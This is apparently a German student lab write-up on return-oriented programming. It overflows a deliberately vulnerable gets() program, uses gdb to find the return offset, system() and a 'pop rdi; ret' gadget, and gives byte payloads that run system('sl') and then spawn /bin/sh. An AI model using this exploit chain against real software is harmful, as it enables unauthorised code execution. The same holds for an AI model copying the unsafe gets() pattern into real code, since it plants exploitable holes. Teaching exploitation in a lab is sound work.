

Malwareanalyse und Reverseengineering: Praktikumsaufgabe 4

4.1 Return-Oriented Programming

1, Simple Program mit „problematischer“ Input-Funktion:

```
#include <stdio.h>
void main(){
    char buffer[8];
    gets(buffer);
    puts(buffer);
}
```

2, Übersetzung des Programms ohne „stackprotector“ u. mit Debug-Symbolen:

Durch folgendes Kommando:

- gcc -g -fno-stack-protector -o rop.o rop.c

3, Überprüfen eines Overflows u. Finden des Offsets zur Return-Adr.:

- echo "AAAAAAAABBBBBBBBCCCCCCCC" | ./rop.o
 - Speicherzugriffsfehler (Speicherabzug geschrieben) -> Overflow.
- gdb ./rop.o
- run "AAAAAAAABBBBBBBBCCCCCCCC" -> SIGSEGV, 0x0000000100000000
- run "AAAAAAAABBBBBBBBCCCCCCCCDD" -> SIGSEGV, 0x00007ffff0044444
- run "AAAAAAAABBBBBBBBCCCCCCCCDDDD" -> SIGSEGV, 0x00007f0044444444
 - Ergo 24 Bytes Offset von Buffer-Anfang bis Return-Beginn.

4, Starten Sie Ihr Programm mit dem Debugger gdb, (versch. Aufgaben):

- | | |
|-------------------------------------------------------------|-----------------------------------|
| a. break *main (oder break *0x00000000040057d) | (Breakanweisung bei Mainfunktion) |
| b. run | (Programm starten) |
| c. print system: 0x7ffff076590 <__libc_system> | (Adresse der "System"-Funktion) |
| d. find "sl" libc | (Finden eines "sl"-Strings) |
| e. ropsearch "pop rdi": 0x00400603 : (b'5fc3') pop rdi; ret | (Suchen eines Ropgadgets) |

5, Testen des Exploits: "steam locomotive"

- echo -e "AAAAAAAABBBBBBBBCCCCCCCC" (24 Bytes Offset bis Return)
 \x03\x06\x40\x00\x00\x00\x00\x00
 \xec\x2d\x04\xff\xff\x7f\x00\x00
 \x90\x65\x07\xff\xff\x7f\x00\x00" | ./rop.o
 (Rop-Gadget: "pop, ret")
 (String: "sl")
 (Funktion: "system()")

Kurze Erläuterung: Nach 24 Bytes Offset wird die Rücksprung-Adresse der main-Funktion mit der Adresse des Ropgadgets überschrieben. Anstatt das Programm nun an die eigentliche Adresse zurückspringt, wird stattdessen der erste Befehl: "pop" des Rop-Gadgets ausgeführt, der den Inhalt der nächsten Adresse vom Stack nimmt und in das Register rdi schiebt. Der Inhalt der nächsten Adresse ist in diesem Fall der String: "sl", und wird in das Register rdi geschoben. Danach wird der zweite Rop-Gadget Befehl: "return" ausgeführt. Das Programm springt nun an die nächste Adresse. Diese beinhaltet die libc Funktion: system(rdi).

6, Aufruf einer Shell

- echo -e "echo -e "AAAAAAAABBBBBBBBCCCCCCCC"
 \x03\x06\x40\x00\x00\x00\x00\x00
 \x03\x01\x1b\xff\xff\x7f\x00\x00
 \x90\x65\x07\xff\xff\x7f\x00\x00" > buffer_file" (Rop-Gadget: "pop, ret")
 (String: "/bin/sh")
 (Funktion: "system()")
- cat buffer_file - | ./rop.o